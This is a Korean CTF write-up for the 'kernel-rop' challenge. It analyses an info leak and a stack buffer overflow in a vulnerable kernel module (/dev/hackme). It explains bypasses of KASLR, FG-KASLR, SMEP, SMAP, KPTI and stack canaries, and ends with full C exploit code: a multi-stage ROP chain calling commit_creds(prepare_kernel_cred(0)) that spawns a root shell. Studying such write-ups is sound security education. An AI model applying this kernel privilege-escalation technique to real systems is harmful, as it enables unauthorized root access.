kernel-rop
취약점 분석
이 문제는 /dev/hackme를 제공하는 hackme.ko 커널 모듈에서 발생하는 커널 스택 정보 유출과 스택 버퍼 오버플로를 이용한다. 실행 환경에는 KASLR, FG-KASLR, SMEP, SMAP, KPTI, stack canary가 적용되어 있다.
1. hackme_read()의 커널 스택 정보 유출
hackme_read()에는 int tmp[32] 크기의 0x80-byte 커널 스택 버퍼가 존재한다. 그러나 memcpy()에는 사용자가 전달한 size가 그대로 사용되며, 허용되는 최대 크기는 0x1000이다.
다음 코드는 모듈을 역분석해 복원한 핵심 로직이다.
static ssize_t hackme_read(struct file *f, char __user *data,
size_t size, loff_t *off)
{
int tmp[32]; // 0x80 bytes
memcpy(hackme_buf, tmp, size);
if (copy_to_user(data, hackme_buf, size))
return -EFAULT;
return size;
}size > sizeof(tmp)인 경우 memcpy()가 tmp 뒤에 있는 커널 스택 내용을 hackme_buf로 복사한다. 이후 copy_to_user()가 해당 데이터를 사용자 공간으로 전달하므로 다음 값을 유출할 수 있다.
buf[0x10]: stack canarybuf[0x14]:hackme_read()호출 경로의 커널 반환 주소buf[0x26]:do_syscall_64+0x37
FG-KASLR 때문에 일반 커널 함수의 위치는 부팅마다 달라질 수 있다. 반면 do_syscall_64가 포함된 엔트리 영역은 고정된 상대 위치에 있으므로 다음 계산으로 KASLR base를 구할 수 있다.
kbase = *(uint64_t *)(buf + 0x26 * 8) - 0xa157;2. hackme_write()의 커널 스택 버퍼 오버플로
hackme_write()도 0x80-byte 크기의 tmp를 사용한다. 사용자 데이터는 먼저 0x1000-byte 전역 버퍼 hackme_buf에 복사된 후, 검증되지 않은 size만큼 tmp에 복사된다.
static ssize_t hackme_write(struct file *f, const char __user *data,
size_t size, loff_t *off)
{
int tmp[32]; // 0x80 bytes
if (copy_from_user(hackme_buf, data, size))
return -EFAULT;
memcpy(tmp, hackme_buf, size);
return size;
}size가 0x80보다 크면 stack canary, saved registers, saved return address를 차례로 덮을 수 있다. 정보 유출 단계에서 얻은 canary를 원래 위치에 유지하고, 반환 주소가 있는 0x14번째 qword부터 ROP chain을 배치하면 제어 흐름을 탈취할 수 있다.
uint64_t rop[0x27] = {0};
memcpy(rop, buf, sizeof(buf)); // 유출한 canary와 기존 stack frame 보존
int i = 0x14; // saved return address
/* ROP chain */
write(fd, rop, sizeof(rop));3. 적용된 보호기법과 우회 방법
- Stack canary:
hackme_read()로 canary를 유출하고 payload에 동일한 값을 유지한다. - KASLR: 고정 엔트리 영역의
do_syscall_64+0x37주소를 유출해 kernel base를 계산한다. - FG-KASLR: 고정된
__ksymtab_commit_creds와__ksymtab_prepare_kernel_cred의 PREL32 값을 읽어 무작위화된 함수 주소를 계산한다. - SMEP: 커널 모드에서 사용자 공간 코드를 직접 실행하지 않고 모든 권한 상승 동작을 kernel ROP로 수행한다.
- SMAP: 취약한 드라이버의
copy_from_user()가 payload를 커널 스택으로 복사하므로 ROP 실행 중 사용자 메모리를 직접 읽을 필요가 없다. - KPTI:
swapgs_restore_regs_and_return_to_usermode+22trampoline과 사용자iretframe을 사용해 안전하게 사용자 공간으로 복귀한다.
Exploit 과정
Step 1: 사용자 상태 저장 및 디바이스 열기
KPTI trampoline으로 사용자 공간에 복귀하려면 CS, SS, RSP, RFLAGS가 필요하다. 실행 초기에 이 값을 전역 변수에 저장하고 /dev/hackme를 연다.
void save_state() {
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
}
void open_dev() {
fd = open("/dev/hackme", O_RDWR);
if (fd < 0)
exit(-1);
}Step 2: Canary와 kernel base 유출
0x138 bytes를 읽어 tmp 뒤의 커널 스택을 유출한다. Canary는 qword index 0x10, saved return address는 0x14, do_syscall_64+0x37은 0x26에 존재한다.
char buf[0x27 * 8] = {0};
read(fd, buf, sizeof(buf));
canary = *(uint64_t *)(buf + 0x10 * 8);
ret_addr = *(uint64_t *)(buf + 0x14 * 8);
kbase = *(uint64_t *)(buf + 0x26 * 8) - 0xa157;계산한 kernel base를 기준으로 FG-KASLR의 영향을 받지 않는 gadget, __ksymtab, KPTI trampoline 주소를 구한다.
pop_rdi = kbase + 0x6370;
pop_rax = kbase + 0x4d11;
mov_rax_rax_10_rbp_ret = kbase + 0x4aad;
pop_rcx_rbp_ret = kbase + 0x4857;
mov_rdi_rax_rep_movsq_pop_rbp_ret = kbase + 0xaedf;
ksysmtab_commit_creds = kbase + 0xf87d90;
ksysmtab_prepare_kernel_cred = kbase + 0xf8d4fc;
swapgs_restore_regs_and_return_to_usermode =
kbase + 0x200f10 + 22;사용한 주요 gadget은 다음과 같다.
kbase + 0x4d11: pop rax ; ret
kbase + 0x6370: pop rdi ; ret
kbase + 0x4aad: mov rax, [rax + 0x10] ; pop rbp ; ret
kbase + 0x4857: pop rcx ; pop rbp ; ret
kbase + 0xaedf: mov rdi, rax ; rep movsq ; pop rbp ; retStep 3: commit_creds 주소 복구
FG-KASLR은 commit_creds()의 위치를 무작위화하므로 정적 offset을 직접 사용할 수 없다. __ksymtab_commit_creds의 첫 32 bits에는 해당 엔트리 주소를 기준으로 한 signed relative offset이 저장되어 있다.
mov rax, [rax+0x10] gadget을 사용하기 위해 RAX에 __ksymtab_commit_creds-0x10을 넣는다. 읽은 값을 유지한 채 KPTI trampoline으로 사용자 공간의 get_commit_creds()에 복귀한다.
rop[i++] = pop_rax;
rop[i++] = ksysmtab_commit_creds - 0x10;
rop[i++] = mov_rax_rax_10_rbp_ret;
rop[i++] = 0; // rbp
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0; // rax
rop[i++] = 0; // rdi
rop[i++] = (uint64_t)(uintptr_t)&get_commit_creds;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;콜백은 RAX를 전역 변수로 저장하고 하위 32 bits를 signed 값으로 해석해 실제 주소를 계산한다.
void get_commit_creds() {
__asm__(".intel_syntax noprefix;"
"mov commit_creds, rax;"
".att_syntax;");
commit_creds = (int32_t)commit_creds + ksysmtab_commit_creds;
rop_stage2();
}Step 4: prepare_kernel_cred 주소 복구
두 번째 ROP chain에서 같은 방법으로 __ksymtab_prepare_kernel_cred를 읽는다. KPTI trampoline은 RAX를 보존한 채 get_prepare_kernel_cred()로 복귀한다.
rop[i++] = pop_rax;
rop[i++] = ksysmtab_prepare_kernel_cred - 0x10;
rop[i++] = mov_rax_rax_10_rbp_ret;
rop[i++] = 0; // rbp
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0; // rax
rop[i++] = 0; // rdi
rop[i++] = (uint64_t)(uintptr_t)&get_prepare_kernel_cred;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;void get_prepare_kernel_cred() {
__asm__(".intel_syntax noprefix;"
"mov prepare_kernel_cred, rax;"
".att_syntax;");
prepare_kernel_cred =
(int32_t)prepare_kernel_cred + ksysmtab_prepare_kernel_cred;
rop_stage3();
}Step 5: Kernel ROP로 root credential 적용
마지막 ROP chain은 다음 동작을 수행한다.
prepare_kernel_cred(NULL)을 호출한다.- 반환된
struct cred *를RAX에서RDI로 옮긴다. commit_creds(cred)를 호출한다.- KPTI trampoline으로 사용자 공간의
shell()에 복귀한다.
mov rdi, rax gadget에는 rep movsq가 함께 있으므로 먼저 RCX=0으로 만들어 부수 효과를 제거한다.
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rcx_rbp_ret;
rop[i++] = 0; // rcx
rop[i++] = 0; // rbp
rop[i++] = mov_rdi_rax_rep_movsq_pop_rbp_ret;
rop[i++] = 0; // rbp
rop[i++] = commit_creds;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0; // rax
rop[i++] = 0; // rdi
rop[i++] = (uint64_t)(uintptr_t)&shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;shell()은 변경된 UID가 0인지 확인한 후 /bin/sh -i를 실행한다.
void shell() {
if (getuid() == 0) {
char *args[] = {"/bin/sh", "-i", NULL};
execve(args[0], args, NULL);
}
}Exploit Code
#include <sys/types.h>
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <fcntl.h>
#include <stdint.h>
uint64_t user_ss, user_sp, user_rflags, user_cs;
int fd;
uint64_t canary, ret_addr, kbase;
uint64_t pop_rdi, pop_rax, mov_rax_rax_10_rbp_ret;
uint64_t ksysmtab_commit_creds, ksysmtab_prepare_kernel_cred;
uint64_t commit_creds, prepare_kernel_cred;
uint64_t swapgs_restore_regs_and_return_to_usermode;
uint64_t mov_rdi_rax_rep_movsq_pop_rbp_ret;
uint64_t pop_rcx_rbp_ret;
char buf[0x27 * 8] = {0};
void save_state() {
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
info("User state saved");
}
void open_dev() {
fd = open("/dev/hackme", O_RDWR);
if (fd < 0) {
perror("open");
exit(-1);
}
info("/dev/hackme opened");
}
void leak() {
// leak canary, return address
read(fd, buf, sizeof(buf));
hexdump(buf, sizeof(buf));
canary = *(uint64_t *)(buf + 0x10 * 8);
ret_addr = *(uint64_t *)(buf + 0x14 * 8);
uint64_t leak = *(uint64_t *)(buf + 0x130);
kbase = *(uint64_t *)(buf + 0x26 * 8) - 0xa157;
info("canary: 0x%lx", canary);
info("ret_addr: 0x%lx", ret_addr);
info("leak: 0x%lx", leak);
info("kbase: 0x%lx", kbase);
// calc gadgets and symbols
pop_rdi = kbase + 0x6370; // pop rdi ; ret
pop_rax = kbase + 0x4d11; // pop rax ; ret
mov_rax_rax_10_rbp_ret = kbase + 0x4aad; // mov rax, rax+0x10 ; pop rbp ; ret
ksysmtab_commit_creds = kbase + 0xf87d90;
ksysmtab_prepare_kernel_cred = kbase + 0xf8d4fc;
swapgs_restore_regs_and_return_to_usermode = kbase + 0x200f10 + 22;
mov_rdi_rax_rep_movsq_pop_rbp_ret = kbase + 0xaedf;
pop_rcx_rbp_ret = kbase + 0x4857;
}
void rop_stage3() {
uint64_t rop[0x27] = {0};
memcpy(rop, buf, sizeof(buf));
int i = 0x14;
rop[i++] = pop_rdi;
rop[i++] = 0; // NULL
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rcx_rbp_ret;
rop[i++] = 0; // rcx
rop[i++] = 0; // rbp
rop[i++] = mov_rdi_rax_rep_movsq_pop_rbp_ret;
rop[i++] = 0; // rbp
rop[i++] = commit_creds;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0; // rax
rop[i++] = 0; // rdi
rop[i++] = (uint64_t)(uintptr_t)&shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, sizeof(rop)); // trigger overflow
}
void get_prepare_kernel_cred() {
__asm__(".intel_syntax noprefix;"
"mov prepare_kernel_cred, rax;"
".att_syntax;");
prepare_kernel_cred =
(int32_t)prepare_kernel_cred + ksysmtab_prepare_kernel_cred;
info("prepare_kernel_cred: 0x%lx", prepare_kernel_cred);
rop_stage3();
}
void rop_stage2() {
uint64_t rop[0x27] = {0};
memcpy(rop, buf, sizeof(buf));
int i = 0x14;
rop[i++] = pop_rax;
rop[i++] = ksysmtab_prepare_kernel_cred - 0x10;
rop[i++] = mov_rax_rax_10_rbp_ret;
rop[i++] = 0; // rbp
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0; // rax
rop[i++] = 0; // rdi
rop[i++] = (uint64_t)(uintptr_t)&get_prepare_kernel_cred;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, sizeof(rop)); // trigger overflow
}
void get_commit_creds() {
__asm__(".intel_syntax noprefix;"
"mov commit_creds, rax;"
".att_syntax;");
commit_creds = (int32_t)commit_creds + ksysmtab_commit_creds;
info("commit_creds: 0x%lx", commit_creds);
rop_stage2();
}
void rop_stage1() {
uint64_t rop[0x27] = {0};
memcpy(rop, buf, sizeof(buf));
int i = 0x14;
rop[i++] = pop_rax;
rop[i++] = ksysmtab_commit_creds - 0x10;
rop[i++] = mov_rax_rax_10_rbp_ret;
rop[i++] = 0; // rbp
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0; // rax
rop[i++] = 0; // rdi
rop[i++] = (uint64_t)(uintptr_t)&get_commit_creds;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, sizeof(rop)); // trigger overflow
}
int main() {
important("happy hacking!");
save_state();
open_dev();
leak();
rop_stage1();
return 0;
}